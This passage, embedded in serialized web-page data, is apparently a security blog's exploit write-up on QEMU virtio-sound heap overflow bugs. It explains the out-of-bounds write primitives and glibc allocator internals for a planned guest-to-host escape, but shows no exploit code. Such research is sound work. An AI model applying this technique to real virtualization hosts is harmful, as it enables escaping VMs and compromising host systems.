126309],{"type":27,"value":14564},{"type":21,"tag":198,"props":126311,"children":126312},{"style":226},[126313],{"type":27,"value":125695},{"type":21,"tag":198,"props":126315,"children":126316},{"style":211},[126317],{"type":27,"value":1470},{"type":21,"tag":198,"props":126319,"children":126320},{"class":200,"line":494},[126321,126325,126329,126334,126338,126342,126346,126350,126354,126358],{"type":21,"tag":198,"props":126322,"children":126323},{"style":226},[126324],{"type":27,"value":126236},{"type":21,"tag":198,"props":126326,"children":126327},{"style":211},[126328],{"type":27,"value":14564},{"type":21,"tag":198,"props":126330,"children":126331},{"style":226},[126332],{"type":27,"value":126333},"features",{"type":21,"tag":198,"props":126335,"children":126336},{"style":683},[126337],{"type":27,"value":979},{"type":21,"tag":198,"props":126339,"children":126340},{"style":698},[126341],{"type":27,"value":126254},{"type":21,"tag":198,"props":126343,"children":126344},{"style":211},[126345],{"type":27,"value":706},{"type":21,"tag":198,"props":126347,"children":126348},{"style":226},[126349],{"type":27,"value":98664},{"type":21,"tag":198,"props":126351,"children":126352},{"style":211},[126353],{"type":27,"value":14564},{"type":21,"tag":198,"props":126355,"children":126356},{"style":226},[126357],{"type":27,"value":126333},{"type":21,"tag":198,"props":126359,"children":126360},{"style":211},[126361],{"type":27,"value":1470},{"type":21,"tag":198,"props":126363,"children":126364},{"class":200,"line":515},[126365],{"type":21,"tag":198,"props":126366,"children":126367},{"style":1233},[126368],{"type":27,"value":126369}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":21,"tag":198,"props":126371,"children":126372},{"class":200,"line":4484},[126373,126377,126381,126386,126390,126395,126399,126403],{"type":21,"tag":198,"props":126374,"children":126375},{"style":226},[126376],{"type":27,"value":126236},{"type":21,"tag":198,"props":126378,"children":126379},{"style":211},[126380],{"type":27,"value":14564},{"type":21,"tag":198,"props":126382,"children":126383},{"style":226},[126384],{"type":27,"value":126385},"channels",{"type":21,"tag":198,"props":126387,"children":126388},{"style":683},[126389],{"type":27,"value":979},{"type":21,"tag":198,"props":126391,"children":126392},{"style":226},[126393],{"type":27,"value":126394}," params",{"type":21,"tag":198,"props":126396,"children":126397},{"style":211},[126398],{"type":27,"value":14564},{"type":21,"tag":198,"props":126400,"children":126401},{"style":226},[126402],{"type":27,"value":126385},{"type":21,"tag":198,"props":126404,"children":126405},{"style":211},[126406],{"type":27,"value":1483},{"type":21,"tag":198,"props":126408,"children":126409},{"class":200,"line":4493},[126410,126414,126418,126423,126427,126431,126435,126439],{"type":21,"tag":198,"props":126411,"children":126412},{"style":226},[126413],{"type":27,"value":126236},{"type":21,"tag":198,"props":126415,"children":126416},{"style":211},[126417],{"type":27,"value":14564},{"type":21,"tag":198,"props":126419,"children":126420},{"style":226},[126421],{"type":27,"value":126422},"format",{"type":21,"tag":198,"props":126424,"children":126425},{"style":683},[126426],{"type":27,"value":979},{"type":21,"tag":198,"props":126428,"children":126429},{"style":226},[126430],{"type":27,"value":126394},{"type":21,"tag":198,"props":126432,"children":126433},{"style":211},[126434],{"type":27,"value":14564},{"type":21,"tag":198,"props":126436,"children":126437},{"style":226},[126438],{"type":27,"value":126422},{"type":21,"tag":198,"props":126440,"children":126441},{"style":211},[126442],{"type":27,"value":1483},{"type":21,"tag":198,"props":126444,"children":126445},{"class":200,"line":4561},[126446,126450,126454,126459,126463,126467,126471,126475],{"type":21,"tag":198,"props":126447,"children":126448},{"style":226},[126449],{"type":27,"value":126236},{"type":21,"tag":198,"props":126451,"children":126452},{"style":211},[126453],{"type":27,"value":14564},{"type":21,"tag":198,"props":126455,"children":126456},{"style":226},[126457],{"type":27,"value":126458},"rate",{"type":21,"tag":198,"props":126460,"children":126461},{"style":683},[126462],{"type":27,"value":979},{"type":21,"tag":198,"props":126464,"children":126465},{"style":226},[126466],{"type":27,"value":126394},{"type":21,"tag":198,"props":126468,"children":126469},{"style":211},[126470],{"type":27,"value":14564},{"type":21,"tag":198,"props":126472,"children":126473},{"style":226},[126474],{"type":27,"value":126458},{"type":21,"tag":198,"props":126476,"children":126477},{"style":211},[126478],{"type":27,"value":1483},{"type":21,"tag":198,"props":126480,"children":126481},{"class":200,"line":4569},[126482],{"type":21,"tag":198,"props":126483,"children":126484},{"emptyLinePlaceholder":16},[126485],{"type":27,"value":1283},{"type":21,"tag":198,"props":126487,"children":126488},{"class":200,"line":4599},[126489,126493,126498],{"type":21,"tag":198,"props":126490,"children":126491},{"style":640},[126492],{"type":27,"value":1478},{"type":21,"tag":198,"props":126494,"children":126495},{"style":698},[126496],{"type":27,"value":126497}," cpu_to_le32",{"type":21,"tag":198,"props":126499,"children":126500},{"style":211},[126501],{"type":27,"value":126502},"(VIRTIO_SND_S_OK);\n",{"type":21,"tag":198,"props":126504,"children":126505},{"class":200,"line":4607},[126506],{"type":21,"tag":198,"props":126507,"children":126508},{"style":211},[126509],{"type":27,"value":1120},{"type":21,"tag":30,"props":126511,"children":126512},{},[126513,126515,126520,126522,126528,126530,126535,126537,126542,126544,126550,126551,126556],{"type":27,"value":126514},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":21,"tag":194,"props":126516,"children":126518},{"className":126517},[],[126519],{"type":27,"value":4226},{"type":27,"value":126521},") and signed (",{"type":21,"tag":194,"props":126523,"children":126525},{"className":126524},[],[126526],{"type":27,"value":126527},"s8",{"type":27,"value":126529},") samples. They encode the same waveform differently - silence is ",{"type":21,"tag":194,"props":126531,"children":126533},{"className":126532},[],[126534],{"type":27,"value":30242},{"type":27,"value":126536}," in ",{"type":21,"tag":194,"props":126538,"children":126540},{"className":126539},[],[126541],{"type":27,"value":4226},{"type":27,"value":126543},", but ",{"type":21,"tag":194,"props":126545,"children":126547},{"className":126546},[],[126548],{"type":27,"value":126549},"0x00",{"type":27,"value":126536},{"type":21,"tag":194,"props":126552,"children":126554},{"className":126553},[],[126555],{"type":27,"value":126527},{"type":27,"value":658},{"type":21,"tag":19590,"props":126558,"children":126559},{},[],{"type":21,"tag":30,"props":126561,"children":126562},{},[126563],{"type":27,"value":126564},"To summarize:",{"type":21,"tag":71,"props":126566,"children":126567},{},[126568,126587,126605],{"type":21,"tag":75,"props":126569,"children":126570},{},[126571,126573,126578,126580,126585],{"type":27,"value":126572},"an integer underflow in the ",{"type":21,"tag":194,"props":126574,"children":126576},{"className":126575},[],[126577],{"type":27,"value":124642},{"type":27,"value":126579}," calculation in ",{"type":21,"tag":194,"props":126581,"children":126583},{"className":126582},[],[126584],{"type":27,"value":124147},{"type":27,"value":126586},", resulting in an 8-byte (or less) under-allocation",{"type":21,"tag":75,"props":126588,"children":126589},{},[126590,126592,126597,126598,126603],{"type":27,"value":126591},"a mismatch in the ",{"type":21,"tag":194,"props":126593,"children":126595},{"className":126594},[],[126596],{"type":27,"value":125874},{"type":27,"value":126579},{"type":21,"tag":194,"props":126599,"children":126601},{"className":126600},[],[126602],{"type":27,"value":125972},{"type":27,"value":126604},", leading to at most 8-byte OOB write",{"type":21,"tag":75,"props":126606,"children":126607},{},[126608,126610,126615,126617,126622,126624,126629],{"type":27,"value":126609},"a missing bound in the ",{"type":21,"tag":194,"props":126611,"children":126613},{"className":126612},[],[126614],{"type":27,"value":124642},{"type":27,"value":126616}," passed to ",{"type":21,"tag":194,"props":126618,"children":126620},{"className":126619},[],[126621],{"type":27,"value":125992},{"type":27,"value":126623},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":21,"tag":194,"props":126625,"children":126627},{"className":126626},[],[126628],{"type":27,"value":126015},{"type":27,"value":82671},{"type":21,"tag":30,"props":126631,"children":126632},{},[126633,126635,126640,126642,126647,126649,126655],{"type":27,"value":126634},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":21,"tag":194,"props":126636,"children":126638},{"className":126637},[],[126639],{"type":27,"value":126015},{"type":27,"value":126641},", but in our setup with the ALSA backend, ",{"type":21,"tag":194,"props":126643,"children":126645},{"className":126644},[],[126646],{"type":27,"value":126015},{"type":27,"value":126648}," was consistently around ",{"type":21,"tag":194,"props":126650,"children":126652},{"className":126651},[],[126653],{"type":27,"value":126654},"4096",{"type":27,"value":658},{"type":21,"tag":30,"props":126657,"children":126658},{},[126659,126661,126668,126669,126676],{"type":27,"value":126660},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":21,"tag":34,"props":126662,"children":126665},{"href":126663,"rel":126664},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[38],[126666],{"type":27,"value":126667},"commit 1",{"type":27,"value":828},{"type":21,"tag":34,"props":126670,"children":126673},{"href":126671,"rel":126672},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[38],[126674],{"type":27,"value":126675},"commit 2",{"type":27,"value":126677},") in the very same week that we independently found them while manually reviewing the code.",{"type":21,"tag":22,"props":126679,"children":126680},{"id":100490},[126681],{"type":27,"value":100493},{"type":21,"tag":30,"props":126683,"children":126684},{},[126685],{"type":27,"value":126686},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":21,"tag":30,"props":126688,"children":126689},{},[126690],{"type":27,"value":126691},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":21,"tag":59,"props":126693,"children":126695},{"id":126694},"achieving-a-better-primitive",[126696],{"type":27,"value":126697},"Achieving a Better Primitive",{"type":21,"tag":30,"props":126699,"children":126700},{},[126701],{"type":27,"value":126702},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":21,"tag":30,"props":126704,"children":126705},{},[126706],{"type":27,"value":126707},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":21,"tag":30,"props":126709,"children":126710},{},[126711],{"type":27,"value":126712},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":21,"tag":162,"props":126714,"children":126716},{"id":126715},"glibc-allocator",[126717],{"type":27,"value":126718},"Glibc Allocator",{"type":21,"tag":30,"props":126720,"children":126721},{},[126722,126724,126731],{"type":27,"value":126723},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":21,"tag":34,"props":126725,"children":126728},{"href":126726,"rel":126727},"https://github.com/shellphish/how2heap",[38],[126729],{"type":27,"value":126730},"how2heap",{"type":27,"value":658},{"type":21,"tag":38109,"props":126733,"children":126735},{"id":126734},"chunk-layout-and-bins",[126736],{"type":27,"value":126737},"Chunk Layout and Bins",{"type":21,"tag":30,"props":126739,"children":126740},{},[126741],{"type":27,"value":126742},"A chunk looks like this:",{"type":21,"tag":187,"props":126744,"children":126746},{"code":126745}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[126747],{"type":21,"tag":194,"props":126748,"children":126749},{"__ignoreMap":7},[126750],{"type":27,"value":126745},{"type":21,"tag":30,"props":126752,"children":126753},{},[126754,126756,126762,126764,126770,126771,126776,126777,126783,126785,126790,126792,126797,126799,126805,126806,126812,126814,126820],{"type":27,"value":126755},"The first 16 bytes form the chunk header. It consists of the ",{"type":21,"tag":194,"props":126757,"children":126759},{"className":126758},[],[126760],{"type":27,"value":126761},"prev_size",{"type":27,"value":126763}," field at offset ",{"type":21,"tag":194,"props":126765,"children":126767},{"className":126766},[],[126768],{"type":27,"value":126769},"0x0",{"type":27,"value":38311},{"type":21,"tag":194,"props":126772,"children":126774},{"className":126773},[],[126775],{"type":27,"value":124642},{"type":27,"value":126763},{"type":21,"tag":194,"props":126778,"children":126780},{"className":126779},[],[126781],{"type":27,"value":126782},"0x8",{"type":27,"value":126784},". As the name suggests, ",{"type":21,"tag":194,"props":126786,"children":126788},{"className":126787},[],[126789],{"type":27,"value":126761},{"type":27,"value":126791}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":21,"tag":194,"props":126793,"children":126795},{"className":126794},[],[126796],{"type":27,"value":124642},{"type":27,"value":126798}," stores the size of the current chunk and three special bits of which ",{"type":21,"tag":194,"props":126800,"children":126802},{"className":126801},[],[126803],{"type":27,"value":126804},"PREV_INUSE",{"type":27,"value":11801},{"type":21,"tag":194,"props":126807,"children":126809},{"className":126808},[],[126810],{"type":27,"value":126811},"IS_MMAPPED",{"type":27,"value":126813}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":21,"tag":194,"props":126815,"children":126817},{"className":126816},[],[126818],{"type":27,"value":126819},"0x10",{"type":27,"value":658},{"type":21,"tag":30,"props":126822,"children":126823},{},[126824],{"type":27,"value":126825},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":21,"tag":38109,"props":126827,"children":126829},{"id":126828},"free-path",[126830],{"type":27,"value":126831},"free() path",{"type":21,"tag":30,"props":126833,"children":126834},{},[126835,126837,126843],{"type":27,"value":126836},"Let’s first look at the ",{"type":21,"tag":194,"props":126838,"children":126840},{"className":126839},[],[126841],{"type":27,"value":126842},"free()",{"type":27,"value":126844}," path in glibc 2.40:",{"type":21,"tag":187,"props":126846,"children":126848},{"code":126847,"language":3954,"meta":7,"className":17318,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[126849],{"type":21,"tag":194,"props":126850,"children":126851},{"__ignoreMap":7},[126852,126880,126887,126895,126903,126910,126932,126953,126960,126973,126980,126988,126995,127008,127015,127036,127057,127064],{"type":21,"tag":198,"props":126853,"children":126854},{"class":200,"line":201},[126855,126860,126864,126868,126872,126876],{"type":21,"tag":198,"props":126856,"children":126857},{"style":698},[126858],{"type":27,"value":126859},"__libc_free",{"type":21,"tag":198,"props":126861,"children":126862},{"style":211},[126863],{"type":27,"value":648},{"type":21,"tag":198,"props":126865,"children":126866},{"style":249},[126867],{"type":27,"value":52003},{"type":21,"tag":198,"props":126869,"children":126870},{"style":683},[126871],{"type":27,"value":10626},{"type":21,"tag":198,"props":126873,"children":126874},{"style":226},[126875],{"type":27,"value":41417},{"type":21,"tag":198,"props":126877,"children":126878},{"style":211},[126879],{"type":27,"value":789},{"type":21,"tag":198,"props":126881,"children":126882},{"class":200,"line":217},[126883],{"type":21,"tag":198,"props":126884,"children":126885},{"style":211},[126886],{"type":27,"value":11689},{"type":21,"tag":198,"props":126888,"children":126889},{"class":200,"line":236},[126890],{"type":21,"tag":198,"props":126891,"children":126892},{"style":211},[126893],{"type":27,"value":126894}," mstate ar_ptr;\n",{"type":21,"tag":198,"props":126896,"children":126897},{"class":200,"line":260},[126898],{"type":21,"tag":198,"props":126899,"children":126900},{"style":211},[126901],{"type":27,"value":126902}," mchunkptr p;\n",{"type":21,"tag":198,"props":126904,"children":126905},{"class":200,"line":281},[126906],{"type":21,"tag":198,"props":126907,"children":126908},{"emptyLinePlaceholder":16},[126909],{"type":27,"value":1283},{"type":21,"tag":198,"props":126911,"children":126912},{"class":200,"line":302},[126913,126918,126922,126927],{"type":21,"tag":198,"props":126914,"children":126915},{"style":211},[126916],{"type":27,"value":126917}," p ",{"type":21,"tag":198,"props":126919,"children":126920},{"style":683},[126921],{"type":27,"value":3174},{"type":21,"tag":198,"props":126923,"children":126924},{"style":698},[126925],{"type":27,"value":126926}," mem2chunk",{"type":21,"tag":198,"props":126928,"children":126929},{"style":211},[126930],{"type":27,"value":126931}," (mem);\n",{"type":21,"tag":198,"props":126933,"children":126934},{"class":200,"line":323},[126935,126939,126943,126948],{"type":21,"tag":198,"props":126936,"children":126937},{"style":640},[126938],{"type":27,"value":1036},{"type":21,"tag":198,"props":126940,"children":126941},{"style":211},[126942],{"type":27,"value":648},{"type":21,"tag":198,"props":126944,"children":126945},{"style":698},[126946],{"type":27,"value":126947},"chunk_is_mmapped",{"type":21,"tag":198,"props":126949,"children":126950},{"style":211},[126951],{"type":27,"value":126952}," (p))\n",{"type":21,"tag":198,"props":126954,"children":126955},{"class":200,"line":344},[126956],{"type":21,"tag":198,"props":126957,"children":126958},{"style":211},[126959],{"type":27,"value":29989},{"type":21,"tag":198,"props":126961,"children":126962},{"class":200,"line":365},[126963,126968],{"type":21,"tag":198,"props":126964,"children":126965},{"style":698},[126966],{"type":27,"value":126967}," munmap_chunk",{"type":21,"tag":198,"props":126969,"children":126970},{"style":211},[126971],{"type":27,"value":126972}," (p);\n",{"type":21,"tag":198,"props":126974,"children":126975},{"class":200,"line":386},[126976],{"type":21,"tag":198,"props":126977,"children":126978},{"style":211},[126979],{"type":27,"value":880},{"type":21,"tag":198,"props":126981,"children":126982},{"class":200,"line":408},[126983],{"type":21,"tag":198,"props":126984,"children":126985},{"style":640},[126986],{"type":27,"value":126987}," else\n",{"type":21,"tag":198,"props":126989,"children":126990},{"class":200,"line":429},[126991],{"type":21,"tag":198,"props":126992,"children":126993},{"style":211},[126994],{"type":27,"value":29989},{"type":21,"tag":198,"props":126996,"children":126997},{"class":200,"line":450},[126998,127003],{"type":21,"tag":198,"props":126999,"children":127000},{"style":698},[127001],{"type":27,"value":127002}," MAYBE_INIT_TCACHE",{"type":21,"tag":198,"props":127004,"children":127005},{"style":211},[127006],{"type":27,"value":127007}," ();\n",{"type":21,"tag":198,"props":127009,"children":127010},{"class":200,"line":468},[127011],{"type":21,"tag":198,"props":127012,"children":127013},{"emptyLinePlaceholder":16},[127014],{"type":27,"value":1283},{"type":21,"tag":198,"props":127016,"children":127017},{"class":200,"line":477},[127018,127023,127027,127032],{"type":21,"tag":198,"props":127019,"children":127020},{"style":211},[127021],{"type":27,"value":127022}," ar_ptr ",{"type":21,"tag":198,"props":127024,"children":127025},{"style":683},[127026],{"type":27,"value":3174},{"type":21,"tag":198,"props":127028,"children":127029},{"style":698},[127030],{"type":27,"value":127031}," arena_for_chunk",{"type":21,"tag":198,"props":127033,"children":127034},{"style":211},[127035],{"type":27,"value":126972},{"type":21,"tag":198,"props":127037,"children":127038},{"class":200,"line":494},[127039,127044,127049,127053],{"type":21,"tag":198,"props":127040,"children":127041},{"style":698},[127042],{"type":27,"value":127043}," _int_free",{"type":21,"tag":198,"props":127045,"children":127046},{"style":211},[127047],{"type":27,"value":127048}," (ar_ptr, p, ",{"type":21,"tag":198,"props":127050,"children":127051},{"style":2540},[127052],{"type":27,"value":3482},{"type":21,"tag":198,"props":127054,"children":127055},{"style":211},[127056],{"type":27,"value":1470},{"type":21,"tag":198,"props":127058,"children":127059},{"class":200,"line":515},[127060],{"type":21,"tag":198,"props":127061,"children":127062},{"style":211},[127063],{"type":27,"value":880},{"type":21,"tag":198,"props":127065,"children":127066},{"class":200,"line":4484},[127067],{"type":21,"tag":198,"props":127068,"children":127069},{"style":211},[127070],{"type":27,"value":1120},{"type":21,"tag":30,"props":127072,"children":127073},{},[127074,127076,127081,127083,127088,127090,127096,127098,127104,127106,127111,127113,127118,127120,127125,127127,127132],{"type":27,"value":127075},"We can see that if the ",{"type":21,"tag":194,"props":127077,"children":127079},{"className":127078},[],[127080],{"type":27,"value":126811},{"type":27,"value":127082}," bit is set in the corrupted ",{"type":21,"tag":194,"props":127084,"children":127086},{"className":127085},[],[127087],{"type":27,"value":124642},{"type":27,"value":127089}," field, glibc will call ",{"type":21,"tag":194,"props":127091,"children":127093},{"className":127092},[],[127094],{"type":27,"value":127095},"munmap_chunk",{"type":27,"value":127097},", which internally checks that ",{"type":21,"tag":194,"props":127099,"children":127101},{"className":127100},[],[127102],{"type":27,"value":127103},"prev_size + size",{"type":27,"value":127105}," is page-aligned. To reach the ",{"type":21,"tag":194,"props":127107,"children":127109},{"className":127108},[],[127110],{"type":27,"value":124642},{"type":27,"value":127112}," field, we first have to overwrite the entire 8-byte ",{"type":21,"tag":194,"props":127114,"children":127116},{"className":127115},[],[127117],{"type":27,"value":126761},{"type":27,"value":127119}," field with uncontrolled data. The chance that a corrupted ",{"type":21,"tag":194,"props":127121,"children":127123},{"className":127122},[],[127124],{"type":27,"value":127103},{"type":27,"value":127126}," value still ends up page-aligned is extremely small. In practice, if ",{"type":21,"tag":194,"props":127128,"children":127130},{"className":127129},[],[127131],{"type":27,"value":126811},{"type":27,"value":127133}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":21,"tag":30,"props":127135,"children":127136},{},[127137,127139,127144,127146,127152],{"type":27,"value":127138},"Assuming ",{"type":21,"tag":194,"props":127140,"children":127142},{"className":127141},[],[127143],{"type":27,"value":126811},{"type":27,"value":127145}," is not set, execution continues into ",{"type":21,"tag":194,"props":127147,"children":127149},{"className":127148},[],[127150],{"type":27,"value":127151},"_int_free",{"type":27,"value":185},{"type":21,"tag":187,"props":127154,"children":127156},{"code":127155,"language":3954,"meta":7,"className":17318,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[127157],{"type":21,"tag":194,"props":127158,"children":127159},{"__ignoreMap":7},[127160,127172,127215,127222,127230,127237,127258,127265,127273,127281,127289,127297,127361,127396,127417,127425,127433,127481,127501,127508,127521,127528],{"type":21,"tag":198,"props":127161,"children":127162},{"class":200,"line":201},[127163,127167],{"type":21,"tag":198,"props":127164,"children":127165},{"style":249},[127166],{"type":27,"value":51420},{"type":21,"tag":198,"props":127168,"children":127169},{"style":249},[127170],{"type":27,"value":127171}," void\n",{"type":21,"tag":198,"props":127173,"children":127174},{"class":200,"line":217},[127175,127179,127184,127189,127194,127198,127202,127206,127211],{"type":21,"tag":198,"props":127176,"children":127177},{"style":698},[127178],{"type":27,"value":127151},{"type":21,"tag":198,"props":127180,"children":127181},{"style":211},[127182],{"type":27,"value":127183}," (mstate ",{"type":21,"tag":198,"props":127185,"children":127186},{"style":226},[127187],{"type":27,"value":127188},"av",{"type":21,"tag":198,"props":127190,"children":127191},{"style":211},[127192],{"type":27,"value":127193},", mchunkptr ",{"type":21,"tag":198,"props":127195,"children":127196},{"style":226},[127197],{"type":27,"value":30},{"type":21,"tag":198,"props":127199,"children":127200},{"style":211},[127201],{"type":27,"value":828},{"type":21,"tag":198,"props":127203,"children":127204},{"style":249},[127205],{"type":27,"value":19841},{"type":21,"tag":198,"props":127207,"children":127208},{"style":226},[127209],{"type":27,"value":127210}," have_lock",{"type":21,"tag":198,"props":127212,"children":127213},{"style":211},[127214],{"type":27,"value":789},{"type":21,"tag":198,"props":127216,"children":127217},{"class":200,"line":236},[127218],{"type":21,"tag":198,"props":127219,"children":127220},{"style":211},[127221],{"type":27,"value":11689},{"type":21,"tag":198,"props":127223,"children":127224},{"class":200,"line":260},[127225],{"type":21,"tag":198,"props":127226,"children":127227},{"style":211},[127228],{"type":27,"value":127229}," INTERNAL_SIZE_T size;\n",{"type":21,"tag":198,"props":127231,"children":127232},{"class":200,"line":281},[127233],{"type":21,"tag":198,"props":127234,"children":127235},{"emptyLinePlaceholder":16},[127236],{"type":27,"value":1283},{"type":21,"tag":198,"props":127238,"children":127239},{"class":200,"line":302},[127240,127245,127249,127254],{"type":21,"tag":198,"props":127241,"children":127242},{"style":211},[127243],{"type":27,"value":127244}," size ",{"type":21,"tag":198,"props":127246,"children":127247},{"style":683},[127248],{"type":27,"value":3174},{"type":21,"tag":198,"props":127250,"children":127251},{"style":698},[127252],{"type":27,"value":127253}," chunksize",{"type":21,"tag":198,"props":127255,"children":127256},{"style":211},[127257],{"type":27,"value":126972},{"type":21,"tag":198,"props":127259,"children":127260},{"class":200,"line":323},[127261],{"type":21,"tag":198,"props":127262,"children":127263},{"emptyLinePlaceholder":16},[127264],{"type":27,"value":1283},{"type":21,"tag":198,"props":127266,"children":127267},{"class":200,"line":344},[127268],{"type":21,"tag":198,"props":127269,"children":127270},{"style":1233},[127271],{"type":27,"value":127272}," /* Little security check which won't hurt performance: the\n",{"type":21,"tag":198,"props":127274,"children":127275},{"class":200,"line":365},[127276],{"type":21,"tag":198,"props":127277,"children":127278},{"style":1233},[127279],{"type":27,"value":127280}," allocator never wraps around at the end of the address space.\n",{"type":21,"tag":198,"props":127282,"children":127283},{"class":200,"line":386},[127284],{"type":21,"tag":198,"props":127285,"children":127286},{"style":1233},[127287],{"type":27,"value":127288}," Therefore we can exclude some size values which might appear\n",{"type":21,"tag":198,"props":127290,"children":127291},{"class":200,"line":408},[127292],{"type":21,"tag":198,"props":127293,"children":127294},{"style":1233},[127295],{"type":27,"value":127296}," here by accident or by \"design\" from some intruder. */\n",{"type":21,"tag":198,"props":127298,"children":127299},{"class":200,"line":429},[127300,127304,127308,127313,127318,127323,127328,127332,127336,127340,127344,127348,127353,127357],{"type":21,"tag":198,"props":127301,"children":127302},{"style":640},[127303],{"type":27,"value":1036},{"type":21,"tag":198,"props":127305,"children":127306},{"style":211},[127307],{"type":27,"value":648},{"type":21,"tag":198,"props":127309,"children":127310},{"style":698},[127311],{"type":27,"value":127312},"__builtin_expect",{"type":21,"tag":198,"props":127314,"children":127315},{"style":211},[127316],{"type":27,"value":127317}," ((",{"type":21,"tag":198,"props":127319,"children":127320},{"style":249},[127321],{"type":27,"value":127322},"uintptr_t",{"type":21,"tag":198,"props":127324,"children":127325},{"style":211},[127326],{"type":27,"value":127327},") p ",{"type":21,"tag":198,"props":127329,"children":127330},{"style":683},[127331],{"type":27,"value":11270},{"type":21,"tag":198,"props":127333,"children":127334},{"style":211},[127335],{"type":27,"value":648},{"type":21,"tag":198,"props":127337,"children":127338},{"style":249},[127339],{"type":27,"value":127322},{"type":21,"tag":198,"props":127341,"children":127342},{"style":211},[127343],{"type":27,"value":1541},{"type":21,"tag":198,"props":127345,"children":127346},{"style":683},[127347],{"type":27,"value":5139},{"type":21,"tag":198,"props":127349,"children":127350},{"style":211},[127351],{"type":27,"value":127352},"size, ",{"type":21,"tag":198,"props":127354,"children":127355},{"style":2540},[127356],{"type":27,"value":3482},{"type":21,"tag":198,"props":127358,"children":127359},{"style":211},[127360],{"type":27,"value":789},{"type":21,"tag":198,"props":127362,"children":127363},{"class":200,"line":450},[127364,127369,127374,127378,127383,127388,127392],{"type":21,"tag":198,"props":127365,"children":127366},{"style":683},[127367],{"type":27,"value":127368}," ||",{"type":21,"tag":198,"props":127370,"children":127371},{"style":698},[127372],{"type":27,"value":127373}," __builtin_expect",{"type":21,"tag":198,"props":127375,"children":127376},{"style":211},[127377],{"type":27,"value":648},{"type":21,"tag":198,"props":127379,"children":127380},{"style":698},[127381],{"type":27,"value":127382},"misaligned_chunk",{"type":21,"tag":198,"props":127384,"children":127385},{"style":211},[127386],{"type":27,"value":127387}," (p), ",{"type":21,"tag":198,"props":127389,"children":127390},{"style":2540},[127391],{"type":27,"value":3482},{"type":21,"tag":198,"props":127393,"children":127394},{"style":211},[127395],{"type":27,"value":872},{"type":21,"tag":198,"props":127397,"children":127398},{"class":200,"line":468},[127399,127404,127408,127413],{"type":21,"tag":198,"props":127400,"children":127401},{"style":698},[127402],{"type":27,"value":127403}," malloc_printerr",{"type":21,"tag":198,"props":127405,"children":127406},{"style":211},[127407],{"type":27,"value":648},{"type":21,"tag":198,"props":127409,"children":127410},{"style":205},[127411],{"type":27,"value":127412},"\"free(): invalid pointer\"",{"type":21,"tag":198,"props":127414,"children":127415},{"style":211},[127416],{"type":27,"value":1470},{"type":21,"tag":198,"props":127418,"children":127419},{"class":200,"line":477},[127420],{"type":21,"tag":198,"props":127421,"children":127422},{"style":1233},[127423],{"type":27,"value":127424}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":21,"tag":198,"props":127426,"children":127427},{"class":200,"line":494},[127428],{"type":21,"tag":198,"props":127429,"children":127430},{"style":1233},[127431],{"type":27,"value":127432}," multiple of MALLOC_ALIGNMENT. */\n",{"type":21,"tag":198,"props":127434,"children":127435},{"class":200,"line":515},[127436,127440,127444,127449,127454,127458,127463,127467,127471,127476],{"type":21,"tag":198,"props":127437,"children":127438},{"style":640},[127439],{"type":27,"value":1036},{"type":21,"tag":198,"props":127441,"children":127442},{"style":211},[127443],{"type":27,"value":648},{"type":21,"tag":198,"props":127445,"children":127446},{"style":698},[127447],{"type":27,"value":127448},"__glibc_unlikely",{"type":21,"tag":198,"props":127450,"children":127451},{"style":211},[127452],{"type":27,"value":127453}," (size 